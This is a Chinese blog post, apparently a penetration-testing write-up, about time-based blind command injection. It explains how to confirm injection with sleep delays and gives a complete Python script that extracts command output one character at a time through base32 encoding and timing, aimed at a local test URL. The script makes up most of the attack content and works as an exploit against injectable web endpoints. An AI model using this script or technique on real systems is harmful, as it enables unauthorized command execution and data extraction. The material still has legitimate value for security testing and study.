Time Based RCE

0x00.前言

最近看到了一篇很好玩的文章,基于时间的隐式命令注入,思路很简单,但个人觉得在实际测试过程中很有用的,因此自己写篇文章总结记录下。

一般说起基于时间的大家第一时间想到了的都是时间盲注,那么基于时间的RCE又是怎么一回事呢,我们接着往下说。

0x01.实际利用

这里我在本地写了一个无回显的命令注入漏洞用作测试。

一般遇到这种情况,首先我们是通过curl或者wget,ping等首先证明这是一个命令执行。如果想进一步获取命令执行的结果则需要将命令执行的结果拼接在我们访问的主机后面,再通过查看dns解析日志或者查看web日志的方法获取命令执行的结果(也就是cloudeye),这里我用我的vps做下简单演示

但这样有一个缺点,由于长度限制和存在一些特殊字符只能获取一部分命令执行的结果。

而且在实际测试中某些环境(windows环境)并不一定存在curl和wget这些命令工具,个人觉得win下bitsadmin /transfer也不是那么好用,一些点并不允许引入’/’,同样存在极端情况防火墙不允许主机向外发起任何请求,那么直接盲弹shell也是不成立的,所以这种方法也就不适用了。这就到了这篇文章的重点,利用延时像时间盲注一样证明命令执行并获取执行结果。

首先检测是否存在命令执行:

传入如下shell语句,可以看到成功延时2s,在实际情况下可以sleep长一点的时间,因为有可能网络延迟较大造成误差。

条件不成立:

利用延时获取命令执行的结果:

可以看到结果的第一位是w,这样就可以像盲注一样通过延时逐位获取结果了。但如果是执行结果比较长的,如读取文件一类,结果里面可能有空格和一些特殊字符的最好编码一下。这里我选择的是base32,因为输出只有大写字符和数字和等号,方便写自动化脚本

0x02.自动化工具利用

其实就是一个基于时间的盲注脚本改下,很简单的。我直接放代码吧:

#coding:utf-8
import requests
import sys
import base64
'''
http://192.168.1.128/index.php?cmd=if [ $(whoami|base32|cut -c 1) = O ];then sleep 2;fi
'''

payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="

def request(url, timeout):
    try:
        res = requests.get(url, timeout = timeout)
    except:
        return True

def get_length(url, cmd, timeout):
    length = ''
    for i in xrange(1,10):
        url1 = url+'if [ $(%s|base32|wc -c|cut -c %s) =  ];then sleep 2;fi' % (cmd, i)
        # print url1
        if request(url1, timeout):
            llength = i
            break
    for i in xrange(1, llength):
        for _ in xrange(1, 10):
            url1 = url+'if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi' % (cmd, i, _)
            # print url1
            if request(url1, timeout):
                length += str(_)
                print length
                break
    return length

def get_content(url, cmd, timeout, length):
    content = ''
    for i in xrange(1, int(length)+1):
        for payload in payloads:
            url1 = url+'if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi' % (cmd, i, payload)
            if request(url1, timeout):
                content += payload
                print content
                break
    return content

if __name__ == '__main__':
    length = get_length('http://192.168.1.128/index.php?cmd=','whoami', 2.0)
    print "## The base32 of content's length is:%s" % length
    content = get_content('http://192.168.1.128/index.php?cmd=', 'whoami', 2.0, length)
    print "## The base32 of content is:%s" % content
    print "## The commend result content is:%s" % base64.b32decode(content).strip()

测试whoami命令:

脚本还可以继续优化,如果用作文件读取和信息收集的话最好加个多线程,提高效率。


以上脚本我个人觉得比老外的好用,但细节处理没老外的完善。老外也参考commix写好了一个比较完善的工具,这里贴出连接:
https://github.com/dancezarp/TBDEx

Time Based RCE》有4个想法

  1. Pingback: swpu wp - Imanfeng

发表评论

电子邮件地址不会被公开。 必填项已用*标注